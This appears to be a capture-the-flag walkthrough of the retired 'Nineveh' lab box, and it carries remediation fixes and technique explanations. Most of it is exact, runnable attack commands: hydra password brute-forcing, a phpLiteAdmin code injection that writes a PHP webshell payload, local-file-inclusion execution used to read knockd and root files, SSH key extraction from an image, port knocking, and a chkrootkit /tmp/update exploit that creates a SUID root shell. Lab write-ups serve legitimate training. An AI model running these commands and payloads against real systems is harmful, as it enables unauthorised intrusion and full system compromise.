Nineveh
Summary
The target server ran two independent web applications on the same Apache host: a phpLiteAdmin v1.9 database console on HTTPS protected only by a default password, and a 'Nineveh Department' portal on HTTP with a guessable keyboard-walk password. Chaining these together, I exploited a known PHP code injection flaw in phpLiteAdmin (EDB-24044) to write a PHP webshell inside a SQLite database file stored at my own filesystem path, then triggered its execution through a local file inclusion vulnerability in the Department portal's 'notes' parameter — gaining a shell as the web server account.
From that foothold I downloaded a publicly served PNG image that contained an SSH private key hidden with steganography, learned the port-knocking sequence needed to reach SSH from the server's configuration file, and logged in as the local user 'amrois'. A root-owned cron job periodically ran a vulnerable copy of chkrootkit (CVE-2014-0476) that unconditionally executes /tmp/update as root if the file exists; placing a malicious script there caused it to run on the next scheduled cycle, producing a SUID root shell and completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <the-base64-from-above> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Fingerprint open ports and service versions.
$ nmap -sV -sC -p 80,443 $TARGET -oN nmap_nineveh.txtConfirm the Department portal and its redirect.
$ curl -s http://$TARGET/department/ -L | head -20Confirm phpLiteAdmin and its version number.
$ curl -sk https://$TARGET/db/index.php | grep -i versionExact commands 1
Extract HTML comments from the login page — reveals the 'amrois' username.
$ curl -s "http://$TARGET/department/login.php" | grep '<!--'Exact commands 1
Authenticate to phpLiteAdmin and keep the cookie. $PASSWORD is this console's password throughout; the Department portal's is a different one, and appears below as $PASSWORD2.
$ curl -k -c /tmp/pla.cookie -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data "password=$PASSWORD&remember=yes&login=Log+In&proc_login=true" -v 2>&1 | grep -E 'Set-Cookie|Location'FixGive the database console a password worth having, and keep it off the public internetCritical
Exact commands 2
The portal's password is the one bound to $PASSWORD2; rockyou carries it.
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form '/department/login.php:username=^USER^&password=^PASS^:Invalid Password' -t 20Authenticate with the discovered credentials; saves the session cookie to /tmp/dept.cookie.
$ curl -s -c /tmp/dept.cookie -b /tmp/dept.cookie -X POST "http://$TARGET/department/login.php" --data "username=admin&password=$PASSWORD2" -v 2>&1 | grep LocationFixEnforce strong password policy and rate-limiting on the Department portalHigh
Exact commands 3
The console creates the database in the directory it is configured to write to, which is /var/tmp here — the absolute path the next request uses.
$ curl -k -sS -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data-urlencode 'new_dbname=ninevehNotes.txt.php' --data 'createdb=Create' -o /tmp/db_create.htmlSwitch the console onto the file just created, addressed by its full path.
$ curl -k -sS -b /tmp/pla.cookie "https://$TARGET/db/index.php?switchdb=%2Fvar%2Ftmp%2FninevehNotes.txt.php" -o /tmp/db_switch.htmlThe column's default value is written into the file as given, which is how PHP source ends up inside a database.
$ curl -k -sS -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data 'table=pwn&field%5B0%5D=x&type%5B0%5D=TEXT&default%5B0%5D=%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E&fieldscount=1&createtable=Go' -o /tmp/db_table.htmlFixUpgrade phpLiteAdmin and restrict where it may create database filesCritical
Exact commands 4
Expect uid=33(www-data). The include is the execution.
$ curl -s -b /tmp/dept.cookie "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php&cmd=id"Knockd keeps its sequence in this file. 571, 290, 911 is what opens 22 here, and knocking is the test that settles it.
$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=cat /etc/knockd.conf'The HTTPS document root. A directory called secure_notes with a PNG in it is the next step.
$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=ls -la /var/www/ssl /var/www/ssl/secure_notes 2>/dev/null'Refused, as it should be. Www-data is not the end of this.
$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=cat /root/root.txt'FixReplace the arbitrary file-inclusion in manage.php with a strict allowlistCritical
Exact commands 5
Download the steganographic image from the public HTTPS directory.
$ curl -k -s -o /tmp/nineveh.png "https://$TARGET/secure_notes/nineveh.png"Extract embedded archives — yields /tmp/nineveh_ex/secret/nineveh.priv.
$ binwalk -e /tmp/nineveh.png -C /tmp/nineveh_ex/Set required permissions on the private key before use.
$ chmod 600 /tmp/nineveh_ex/secret/nineveh.privSend the port-knock sequence to open port 22 (sequence read from /etc/knockd.conf via the webshell).
$ knock $TARGET 571 290 911Authenticate as amrois and read user.txt — -> <user.txt>
$ ssh -i /tmp/nineveh_ex/secret/nineveh.priv amrois@$TARGET 'cat ~/user.txt'FixRemove the SSH private key embedded in the public image and rotate all affected credentialsHigh
Exact commands 5
The version is the vulnerability, and cron.daily is what runs it as root.
$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=chkrootkit -V 2>&1; ls -la /etc/cron.daily/'Base64 first: the payload travels as one URL-safe token rather than as quoting to fight through.
$ printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' | base64 -w0Written as www-data, which is all the file needs to be.
$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=echo <the-base64-from-above> | base64 -d > /tmp/update; chmod 777 /tmp/update; ls -la /tmp/update'Repeat until the file appears. The cron tick is the only thing being waited on.
$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=date; ls -la /tmp/rootbash 2>&1'-p keeps the effective uid the setuid copy carries -> <root.txt>
$ ssh -i /tmp/nineveh_ex/secret/nineveh.priv amrois@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixRemove or upgrade vulnerable chkrootkit and mount /tmp noexecCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
| 443/tcp | ssl/http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.